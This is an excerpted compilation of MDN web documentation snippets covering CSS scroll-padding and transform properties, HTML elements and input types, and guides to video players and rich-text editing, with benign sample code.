constituent properties this property is a shorthand for the following css properties: scroll-padding-inline-end scroll-padding-inline-start syntax /* keyword values */ scroll-padding-inline: auto; /* <length> values */ scroll-padding-inline: 10px; scroll-padding-inline: 1em .5em; scroll-padding-inline: 10%; /* global values */ scroll-padding-inline: inherit; scroll-padding-inline: initial; scroll-padding-inline: unset; values <length-percentage> an inwards offset from the corresponding edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,2}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline' in that specification.
... candidate recommendation initial definition ...
scroll-padding-left - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-left: auto; /* <length> values */ scroll-padding-left: 10px; scroll-padding-left: 1em; scroll-padding-left: 10%; /* global values */ scroll-padding-left: inherit; scroll-padding-left: initial; scroll-padding-left: unset; values <length-percentage> an inwards offset from the left edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-left' in that specification.
... candidate recommendation initial definition ...
scroll-padding-right - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-right: auto; /* <length> values */ scroll-padding-right: 10px; scroll-padding-right: 1em; scroll-padding-right: 10%; /* global values */ scroll-padding-right: inherit; scroll-padding-right: initial; scroll-padding-right: unset; values <length-percentage> an inwards offset from the top edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-right' in that specification.
... candidate recommendation initial definition ...
scroll-padding-top - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-padding-top: auto; /* <length> values */ scroll-padding-top: 10px; scroll-padding-top: 1em; scroll-padding-top: 10%; /* global values */ scroll-padding-top: inherit; scroll-padding-top: initial; scroll-padding-top: unset; values <length-percentage> an inwards offset from the top edge of the scrollport, as a valid length or a percentage.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-top' in that specification.
... candidate recommendation initial definition ...
scroll-padding - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: scroll-padding-bottom scroll-padding-left scroll-padding-right scroll-padding-top syntax /* keyword values */ scroll-padding: auto; /* <length> values */ scroll-padding: 10px; scroll-padding: 1em .5em 1em 1em; scroll-padding: 10%; /* global values */ scroll-padding: inherit; scroll-padding: initial; scroll-padding: unset; values <length-percentage> an inwards offset from the corresponding edge of the scrollport, as a valid <length> or a <percentage>.
... formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,4}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding' in that specification.
... candidate recommendation initial definition ...
scroll-snap-align - CSS: Cascading Style Sheets
syntax /* keyword values */ scroll-snap-align: none; scroll-snap-align: start end; /* when two values set first is block, second inline */ scroll-snap-align: center; /* global values */ scroll-snap-align: inherit; scroll-snap-align: initial; scroll-snap-align: unset; values none the box does not define a snap position in that axis.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ none | start | end | center ]{1,2} specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-align' in that specification.
... candidate recommendation initial definition ...
symbols() - CSS: Cascading Style Sheets
WebCSSsymbols
[ <string> | <image> ]+ ); <symbols-type> can be one of the following: cyclic: the system cycles through the given values in the order of their definition, and returns to the start when it reaches the end.
... examples html <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ol> css ol { list-style: symbols(cyclic "*" "†" "‡"); } result specifications specification status comment css counter styles level 3the definition of 'symbols()' in that specification.
... candidate recommendation initial defintion.
text-overflow - CSS: Cascading Style Sheets
formal definition initial valueclipapplies toblock container elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ clip | ellipsis | <string> ]{1,2} examples css p { width: 200px; border: 1px solid; padding: 2px 5px; /* both of the following are required for text-overflow */ white-space: nowrap; overflow: hidden; } .overflow-visible { white-space: initial; } ...
... 1234567890 specifications specification status comment css overflow module level 4 added the values <string> and fade and the fade() function css overflow module level 3the definition of 'text-overflow' in that specification.
... working draft initial definition a previous version of this interface reached the candidate recommendation status.
text-shadow - CSS: Cascading Style Sheets
s | color */ text-shadow: 1px 1px 2px black; /* color | offset-x | offset-y | blur-radius */ text-shadow: #fc0 1px 0 10px; /* offset-x | offset-y | color */ text-shadow: 5px 5px #558abb; /* color | offset-x | offset-y */ text-shadow: white 2px 5px; /* offset-x | offset-y /* use defaults for color and blur-radius */ text-shadow: 5px 10px; /* global values */ text-shadow: inherit; text-shadow: initial; text-shadow: unset; this property is specified as a comma-separated list of shadows.
... formal definition initial valuenoneapplies toall elements.
...0 0 1em blue, 0 0 0.2em blue; color: white; font: 1.5em georgia, serif; } <p class="white-text-with-blue-shadow">sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore.</p> specifications specification status comment css text decoration module level 3the definition of 'text-shadow' in that specification.
matrix3d() - CSS: Cascading Style Sheets
ering content */ display: flex; flex-flow: row wrap; justify-content: center; align-content: center; } .foo { width: 50%; padding: 1em; color: white; background: #ff8c66; border: 2px dashed black; text-align: center; font-family: system-ui, sans-serif; font-size: 14px; /* setting up animation for better demonstration */ animation: motionscale 2s alternate linear infinite; } @keyframes motionscale { from { /* identity matrix is used as basis here.
...,0,0, 0,1,0,0, 0,0,1,0, -50,-100,0,1.1 ); } 50% { transform: matrix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, 0,0,0,0.9 ); } to { transform: matrix3d( 1,0,0,0, 0,1,0,0, 0,0,1,0, 50,100,0,1.1 ) } } result specifications specification status comment css transforms level 2the definition of 'matrix3d()' in that specification.
... editor's draft initial definition ...
<transform-function> - CSS: Cascading Style Sheets
ntlistener('change', () => { if(selectelem.value === 'choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectelem.value}`; settimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)'; }, 2000) } }) result specifications specification status comment css transforms level 2the definition of '<transform-function>' in that specification.
... css transforms level 1the definition of '<transform-function>' in that specification.
... working draft initial definition ...
Adding captions and subtitles to HTML5 video - Developer guides
the default attribute is set on the english <track> element, indicating to the browser that this is the default subtitle file definition to use when subtitles have been turned on and the user has not made a specific selection.
... initial setup as with all the other buttons, one of the first things we need to do is store a handle to the subtitles' button: var subtitles = document.getelementbyid('subtitles'); we also initially turn off all subtitles, in case the browser turns any of them on by default: for (var i = 0; i < video.texttracks.length; i++) { video.texttracks[i].mode = 'hidden'; } the video.texttracks property...
... initially the menu is hidden by default, so an event listener needs to be added to our subtitles button to toggle it: subtitles.addeventlistener('click', function(e) { if (subtitlesmenu) { subtitlesmenu.style.display = (subtitlesmenu.style.display == 'block' ?
Video player styling basics - Developer guides
for example, the play/pause button has the following background image definitions (the full base64 strings have been omitted for brevity): .controls button[data-state="play"] { background-image: url('data:image/png;base64,ivborw0kggoaaa ...
...the internal <span> element used as the actual progressing part of the faked progress bar has its width initially set to 0% (it is updated via javascript) and it also has its background colour set.
...the definitions for the elements within the .controls element now also need to changed: @media screen and (max-width:42.5em) { .controls { height:auto; } .controls > * { display:block; width:16.6667%; margin-left:0; height:2.5rem; margin-top:2.5rem; } .controls .progress { position:absolute; top:0; width:100%; float:none; mar...
Creating a cross-browser video player - Developer guides
a poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file.
... the controls are initially hidden with a css display:none and will be enabled with javascript.
... setup before dealing with the individual buttons, a number of initialisation calls are required.
Overview of events and handlers - Developer guides
initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user.
...for example, code might be attached as: var funcinit = function(){ // user code goes here and can safely address all the html elements from the page // since the document has successfully been 'loaded' } document.addeventlistener('domcontentloaded', funcinit); so that this code will only be executed after the document object emits the 'domcontentloaded' event because the html has been parsed and javasript objects created representing each...
...each definition includes, as the data structure passed to the handler function, an object which inherits from the eventprototype object.
Rich-Text Editing in Mozilla - Developer guides
setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe.
...style="font-weight:bold;">b</button> javascript: function doricheditcommand(aname, aarg){ getiframedocument('editorwindow').execcommand(aname,false, aarg); document.getelementbyid('editorwindow').contentwindow.focus() } example: a simple but complete rich text editor <!doctype html> <html> <head> <title>rich text editor</title> <script type="text/javascript"> var odoc, sdeftxt; function initdoc() { odoc = document.getelementbyid("textbox"); sdeftxt = odoc.innerhtml; if (document.compform.switchmode.checked) { setdocmode(true); } } function formatdoc(scmd, svalue) { if (validatemode()) { document.execcommand(scmd, false, svalue); odoc.focus(); } } function validatemode() { if (!document.compform.switchmode.checked) { return true ; } alert("uncheck \"show html\"."); odo...
.../script> <style type="text/css"> .intlink { cursor: pointer; } img.intlink { border: 0; } #toolbar1 select { font-size:10px; } #textbox { width: 540px; height: 200px; border: 1px #000000 solid; padding: 12px; overflow: scroll; } #textbox #sourcetext { padding: 0; margin: 0; min-width: 498px; min-height: 200px; } #editmode label { cursor: pointer; } </style> </head> <body onload="initdoc();"> <form name="compform" method="post" action="sample.php" onsubmit="if(validatemode()){this.mydoc.value=odoc.innerhtml;return true;}return false;"> <input type="hidden" name="mydoc"> <div id="toolbar1"> <select onchange="formatdoc('formatblock',this[this.selectedindex].value);this.selectedindex=0;"> <option selected>- formatting -</option> <option value="h1">title 1 &lt;h1&gt;</option> <opt...
disabled - HTML: Hypertext Markup Language
ion>disabled 3.3</option> </optgroup> </select> </label> </p> <fieldset disabled> <legend>disabled fieldset</legend> <p> <label>name: <input type="name" name="radio" value="regular"> regular </label> </p> <p> <label>number: <input type="number"></label> </p> </fieldset> specifications specification status comment html living standardthe definition of 'disabled attribute' in that specification.
... living standard html5the definition of 'disabled attribute' in that specification.
... recommendation html 5.1the definition of 'disabled attribute' in that specification.
HTML attribute: pattern - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'pattern' in that specification.
... living standard html 5.1the definition of 'pattern' in that specification.
... recommendation html5the definition of 'pattern' in that specification.
HTML attribute: required - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'required attribute' in that specification.
... living standard html5the definition of 'required attribute' in that specification.
... recommendation html 5.1the definition of 'required attribute' in that specification.
HTML attribute reference - HTML: Hypertext Markup Language
capture <input> from the html media capturethe definition of 'media capture' in that specification.spec, specifies a new file can be captured.
... muted <audio>, <video> indicates whether the audio will be initially silenced on page load.
... content versus idl attributes in html, most attributes have two faces: the content attribute and the idl (interface definition language) attribute.
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
using the aria-labelledby attribute labeling regions • page structure • w3c wai web accessibility tutorials specifications specification status comment html living standardthe definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification.
... living standard html5the definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification.
... recommendation html 4.01 specificationthe definition of '<h1>, <h2>, <h3>, <h4>, <h5>, and <h6>' in that specification.
<article>: The Article Contents element - HTML: Hypertext Markup Language
WebHTMLElementarticle
</p> </footer> </article> specifications specification status comment html living standardthe definition of '<article>' in that specification.
... living standard html 5.1the definition of '<article>' in that specification.
... recommendation html5the definition of '<article>' in that specification.
<aside>: The Aside element - HTML: Hypertext Markup Language
WebHTMLElementaside
</p> <aside> <p> the movie earned $87 million during its initial release.
... </p> </article> specifications specification status comment html living standardthe definition of '<aside>' in that specification.
... living standard html5the definition of '<aside>' in that specification.
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
WebHTMLElementb
</p> keywords are displayed with the default style of the <b>element, likely in bold.</b> result specifications specification status comment html living standardthe definition of '<b>' in that specification.
... living standard html5the definition of '<b>' in that specification.
... recommendation html 4.01 specificationthe definition of '<b>' in that specification.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status comment html living standardthe definition of '<base>' in that specification.
... html5the definition of '<base>' in that specification.
... recommendation specified the behavior of target html 4.01 specificationthe definition of '<base>' in that specification.
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
WebHTMLElementbdo
specifications specification status comment html living standardthe definition of '<bdo>' in that specification.
... living standard html5the definition of '<bdo>' in that specification.
... recommendation html 4.01 specificationthe definition of '<bdo>' in that specification.
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
the carriers have an intrinsic collision avoidance system, which increases availability.</p> </blockquote> the output from this html snippet looks like this: specifications specification status comment html living standardthe definition of '<blockquote>' in that specification.
... living standard html5the definition of '<blockquote>' in that specification.
... recommendation html 4.01 specificationthe definition of '<blockquote>' in that specification.
<body>: The Document Body element - HTML: Hypertext Markup Language
WebHTMLElementbody
example <html> <head> <title>document title</title> </head> <body> <p>this is a paragraph</p> </body> </html> specifications specification status comment html living standardthe definition of '<body>' in that specification.
... html5the definition of '<body>' in that specification.
... html 4.01 specificationthe definition of '<body>' in that specification.
<br>: The Line Break element - HTML: Hypertext Markup Language
WebHTMLElementbr
implicit aria role no corresponding role permitted aria roles none, presentation dom interface htmlbrelement specifications specification status comment html living standardthe definition of '<br>' in that specification.
... living standard html5the definition of '<br>' in that specification.
... recommendation html 4.01 specificationthe definition of '<br>' in that specification.
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
WebHTMLElementcanvas
mdn hit regions and accessability canvas accessibility use cases canvas element accessibility issues html5 canvas accessibility in firefox 13 – by steve faulkner best practices for interactive canvas elements specifications specification status comment html living standardthe definition of '<canvas>' in that specification.
... living standard html5the definition of '<canvas>' in that specification.
... recommendation initial definition ...
<caption>: The Table Caption element - HTML: Hypertext Markup Language
WebHTMLElementcaption
specifications specification status comment html living standardthe definition of '<caption>' in that specification.
... living standard html5the definition of '<caption>' in that specification.
... recommendation html 4.01 specificationthe definition of '<caption>' in that specification.
<cite>: The Citation element - HTML: Hypertext Markup Language
WebHTMLElementcite
example <p>more information can be found in <cite>[iso-0000]</cite>.</p> the html above outputs: specifications specification status comment html living standardthe definition of '<cite>' in that specification.
... living standard html5the definition of '<cite>' in that specification.
... recommendation html 4.01 specificationthe definition of '<cite>' in that specification.
<code>: The Inline Code element - HTML: Hypertext Markup Language
WebHTMLElementcode
specifications specification status comment html living standardthe definition of '<code>' in that specification.
... living standard html5the definition of '<code>' in that specification.
... recommendation html 4.01 specificationthe definition of '<code>' in that specification.
<colgroup> - HTML: Hypertext Markup Language
WebHTMLElementcolgroup
specifications specification status comment html living standardthe definition of '<colgroup>' in that specification.
... living standard html5the definition of '<colgroup>' in that specification.
... recommendation html 4.01 specificationthe definition of '<colgroup>' in that specification.
<data> - HTML: Hypertext Markup Language
WebHTMLElementdata
<p>new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html living standardthe definition of '<data>' in that specification.
... living standard no change from html5 html5the definition of '<data>' in that specification.
... recommendation initial definition.
<del>: The Deleted Text element - HTML: Hypertext Markup Language
WebHTMLElementdel
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of '<del>' in that specification.
... living standard html5the definition of '<del>' in that specification.
... recommendation html 4.01 specificationthe definition of '<del>' in that specification.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
an input device as well as some form of output device is recommended.</p> </details> result specifications specification status comment html living standardthe definition of '<details>' in that specification.
... living standard html 5.1the definition of '<details>' in that specification.
... recommendation initial definition ...
<dialog>: The Dialog element - HTML: Hypertext Markup Language
WebHTMLElementdialog
elect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date()).tostring(); }); result specifications specification status comment html living standardthe definition of '<dialog>' in that specification.
... living standard html 5.2the definition of '<dialog>' in that specification.
... recommendation initial definition ...
<div>: The Content Division element - HTML: Hypertext Markup Language
WebHTMLElementdiv
iv class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html living standardthe definition of '<div>' in that specification.
... living standard no changes since the latest snapshot html5the definition of '<div>' in that specification.
... recommendation obsoleted align html 4.01 specificationthe definition of '<div>' in that specification.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
p upon the green, or, like a nymph, with long dishevell'd hair, dance on the sands, and yet no footing seen: love is a spirit all compact of fire, not gross to sink, but light, and will aspire.</p> <figcaption><cite>venus and adonis</cite>, by william shakespeare</figcaption> </figure> specifications specification status comment html living standardthe definition of '<figure>' in that specification.
... living standard html 5.2the definition of '<figure>' in that specification.
... html5the definition of '<figure>' in that specification.
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
WebHTMLElementhead
specifications specification status comment html living standardthe definition of '<head>' in that specification.
... living standard no change from latest shapshot html5the definition of '<head>' in that specification.
... recommendation obsoleted profile html 4.01 specificationthe definition of '<head>' in that specification.
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
WebHTMLElementhr
</p> result specifications specification status comment html living standardthe definition of '<hr>' in that specification.
... living standard definition of the <hr> element html5the definition of '<hr>' in that specification.
... recommendation html 4.01 specificationthe definition of '<hr>' in that specification.
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
// define variables var nativepicker = document.queryselector('.nativedatepicker'); var fallbackpicker = document.queryselector('.fallbackdatepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); var dayselect = document.queryselector('#day'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'date'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback...
... specifications specification status comments html living standardthe definition of '<input type="date">' in that specification.
... living standard html5the definition of '<input type="date">' in that specification.
<input type="datetime-local"> - HTML: Hypertext Markup Language
lbackpicker = document.queryselector('.fallbackdatetimepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); var dayselect = document.queryselector('#day'); var hourselect = document.queryselector('#hour'); var minuteselect = document.queryselector('#minute'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new datetime-local input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'datetime-local'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker a...
... specifications specification status comments html living standardthe definition of '<input type="datetime-local">' in that specification.
... living standard html5the definition of '<input type="datetime-local">' in that specification.
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
efaultemails" size="64" maxlength="256" multiple> <datalist id="defaultemails"> <option value="jbond007@mi6.defence.gov.uk"> <option value="jbourne@unknown.net"> <option value="nfury@shield.org"> <option value="tony@starkindustries.com"> <option value="hulk@grrrrrrrr.arg"> </datalist> specifications specification status comment html living standardthe definition of '<input type="email">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="email">' in that specification.
... recommendation initial definition ...
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
specifications specification status comment html living standardthe definition of '<input type="hidden">' in that specification.
... living standard initial definition html 5.2the definition of '<input type="hidden">' in that specification.
... recommendation initial definition ...
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
var ssn = document.getelementbyid("ssn"); var current = document.getelementbyid("current"); ssn.oninput = function(event) { current.innerhtml = ssn.value; } result specifications specification status comment html living standardthe definition of '<input type="password">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="password">' in that specification.
... recommendation initial definition ...
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
this might not be a look you'd want in a real web application, but it definitely shows off the possibilities.
... specifications specification status html living standardthe definition of '<input type="radio">' in that specification.
... living standard html5the definition of '<input type="radio">' in that specification.
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
pe of range, changing the writing mode from the default to bt-lr, or bottom-to-top and left-to-right, for edge and internet explorer, and add -webkit-appearance: slider-vertical for all -webkit-based browsers: input[type="range"] { writing-mode: bt-lr; -webkit-appearance: slider-vertical; } specifications specification status comment html living standardthe definition of '<input type="range">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="range">' in that specification.
... recommendation initial definition ...
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
<input> elements of type "reset" are rendered as buttons, with a default click event handler that resets all of the inputs in the form to their initial values.
... specifications specification status html living standardthe definition of '<input type="reset">' in that specification.
... living standard html5the definition of '<input type="reset">' in that specification.
<input type="tel"> - HTML: Hypertext Markup Language
WebHTMLElementinputtel
input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; color: #8b0000; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; color: #009000; } specifications specification status comment html living standardthe definition of '<input type="tel">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="tel">' in that specification.
... recommendation initial definition ...
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
specifications specification status comment html living standardthe definition of '<input type="text">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="text">' in that specification.
... recommendation initial definition ...
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
specifications specification status comment html living standardthe definition of '<input type="url">' in that specification.
... living standard initial definition html 5.1the definition of '<input type="url">' in that specification.
... recommendation initial definition urlthe definition of 'url syntax' in that specification.
<ins> - HTML: Hypertext Markup Language
WebHTMLElementins
short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of '<ins>' in that specification.
... living standard html5the definition of '<ins>' in that specification.
... recommendation html 4.01 specificationthe definition of '<ins>' in that specification.
<li> - HTML: Hypertext Markup Language
WebHTMLElementli
<li>second item</li> <li>third item</li> </ol> ordered list with a custom value <ol type="i"> <li value="3">third item</li> <li>fourth item</li> <li>fifth item</li> </ol> unordered list <ul> <li>first item</li> <li>second item</li> <li>third item</li> </ul> specifications specification status comment html living standardthe definition of '<li>' in that specification.
... living standard html5the definition of '<li>' in that specification.
... recommendation html 4.01 specificationthe definition of '<li>' in that specification.
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
implicit aria role link with href attribute permitted aria roles no role permitted dom interface htmllinkelement specifications specification status comment html living standardthe definition of '<link>' in that specification.
... living standard no changes from latest snapshot html5the definition of '<link>' in that specification.
... html 4.01 specificationthe definition of '<link>' in that specification.
<menuitem> - HTML: Hypertext Markup Language
WebHTMLElementmenuitem
</menuitem> <hr> <menuitem type="radio" radiogroup="group1">radio button 1</menuitem> <menuitem type="radio" radiogroup="group1">radio button 2</menuitem> </menu> css content div { width: 300px; height: 80px; background-color: lightgreen; } result specifications specification status comment html 5.2the definition of '<menuitem>' in that specification.
... html 5.1the definition of '<menuitem>' in that specification.
... recommendation snapshot of the html living standard, initial definition.
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
WebHTMLElementmeter
html <p>he got a <meter low="69" high="80" max="100" value="84">b</meter> on the exam.</p> result on google chrome, the resulting meter looks like this: specifications specification status comment html living standardthe definition of '<meter>' in that specification.
... living standard html5the definition of '<meter>' in that specification.
... recommendation initial definition ...
<noscript> - HTML: Hypertext Markup Language
WebHTMLElementnoscript
specifications specification status comment html living standardthe definition of '<noscript>' in that specification.
... living standard html5the definition of '<noscript>' in that specification.
... recommendation html 4.01 specificationthe definition of '<noscript>' in that specification.
<object> - HTML: Hypertext Markup Language
WebHTMLElementobject
centages) examples embed a flash movie <!-- embed a flash movie --> <object data="movie.swf" type="application/x-shockwave-flash"></object> <!-- embed a flash movie with parameters --> <object data="movie.swf" type="application/x-shockwave-flash"> <param name="foo" value="bar"> </object> specifications specification status comment html living standardthe definition of '<object>' in that specification.
... living standard html5the definition of '<object>' in that specification.
... recommendation html 4.01 specificationthe definition of '<object>' in that specification.
<ol>: The Ordered List element - HTML: Hypertext Markup Language
WebHTMLElementol
--> <ul> <li>second item first subitem</li> <li>second item second subitem</li> <li>second item third subitem</li> </ul> </li> <!-- here's the closing </li> tag --> <li>third item</li> </ol> the above html will output: specifications specification status comment html living standardthe definition of '<ol>' in that specification.
... html5the definition of 'htmlolistelement' in that specification.
... recommendation added reversed and start attributed; un-deprecated type html 4.01 specificationthe definition of '<ol>' in that specification.
<optgroup> - HTML: Hypertext Markup Language
WebHTMLElementoptgroup
/option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option>option 2.2</option> </optgroup> <optgroup label="group 3" disabled> <option>option 3.1</option> <option>option 3.2</option> <option>option 3.3</option> </optgroup> </select> result specifications specification status comment html living standardthe definition of '<optgroup>' in that specification.
... living standard html5the definition of '<optgroup>' in that specification.
... recommendation html 4.01 specificationthe definition of '<optgroup>' in that specification.
<param>: The Object Parameter element - HTML: Hypertext Markup Language
WebHTMLElementparam
specifications specification status comment html living standardthe definition of '<param>' in that specification.
... living standard html5the definition of '<param>' in that specification.
... recommendation html 4.01 specificationthe definition of '<param>' in that specification.
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
WebHTMLElementpre
</figcaption> </figure> mdn understanding wcag, guideline 1.1 explanations h86: providing text alternatives for ascii art, emoticons, and leetspeak | w3c techniques for wcag 2.0 specifications specification status comment html living standardthe definition of '<pre>' in that specification.
... living standard no significant change from html5 html5the definition of '<pre>' in that specification.
... recommendation no significant change from html 4.01 specification html 4.01 specificationthe definition of '<pre>' in that specification.
<progress>: The Progress Indicator element - HTML: Hypertext Markup Language
WebHTMLElementprogress
examples <progress value="70" max="100">70 %</progress> result on windows 7, the resulting progress looks like this: specifications specification status comment html living standardthe definition of '<progress>' in that specification.
... living standard html5the definition of '<progress>' in that specification.
... recommendation initial definition ...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
WebHTMLElementsamp
result the resulting output is this: specifications specification status comment html living standardthe definition of '<samp>' in that specification.
... living standard html5the definition of '<samp>' in that specification.
... recommendation html 4.01 specificationthe definition of '<samp>' in that specification.
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
e server --> <script id="data" type="application/json">{"userid":1234,"username":"john doe","membersince":"2000-01-01t00:00:00.000z"}</script> <!-- static --> <script> const userinfo = json.parse(document.getelementbyid("data").text); console.log("user information: %o", userinfo); </script> specifications specification status comments html living standardthe definition of '<script>' in that specification.
... living standard removed the charset attribute html5the definition of '<script>' in that specification.
... recommendation html 4.01 specificationthe definition of '<script>' in that specification.
<section>: The Generic Section element - HTML: Hypertext Markup Language
WebHTMLElementsection
example before <div> <h1>heading</h1> <p>bunch of awesome content</p> </div> after <section> <h1>heading</h1> <p>bunch of awesome content</p> </section> specifications specification status comment html living standardthe definition of '<section>' in that specification.
... living standard html 5.1the definition of '<section>' in that specification.
... recommendation html5the definition of '<section>' in that specification.
<small>: the side comment element - HTML: Hypertext Markup Language
WebHTMLElementsmall
<span style="font-size:0.8em">this whole sentence is in small letters.</span> </p> specifications specification status comments html living standardthe definition of '<small>' in that specification.
... living standard html5the definition of '<small>' in that specification.
... recommendation html 4.01 specificationthe definition of '<small>' in that specification.
<span> - HTML: Hypertext Markup Language
WebHTMLElementspan
example example 1 html <p><span>some text</span></p> result example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span { background: gold; } result specifications specification status comment html living standardthe definition of '<span>' in that specification.
... living standard html5the definition of '<span>' in that specification.
... html 4.01 specificationthe definition of '<span>' in that specification.
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
examples basic example <p>before proceeding, <strong>make sure you put on your safety goggles</strong>.</p> the resulting output: labeling warnings <p><strong>important:</strong> before proceeding, make sure you add plenty of butter.</p> this results in: specifications specification status comment html living standardthe definition of '<strong>' in that specification.
... living standard html5the definition of '<strong>' in that specification.
... recommendation html 4.01 specificationthe definition of '<strong>' in that specification.
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlstyleelement specifications specification status comment html living standardthe definition of 'style' in that specification.
... living standard html5the definition of 'style' in that specification.
... html 4.01 specificationthe definition of 'style' in that specification.
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
WebHTMLElementsummary
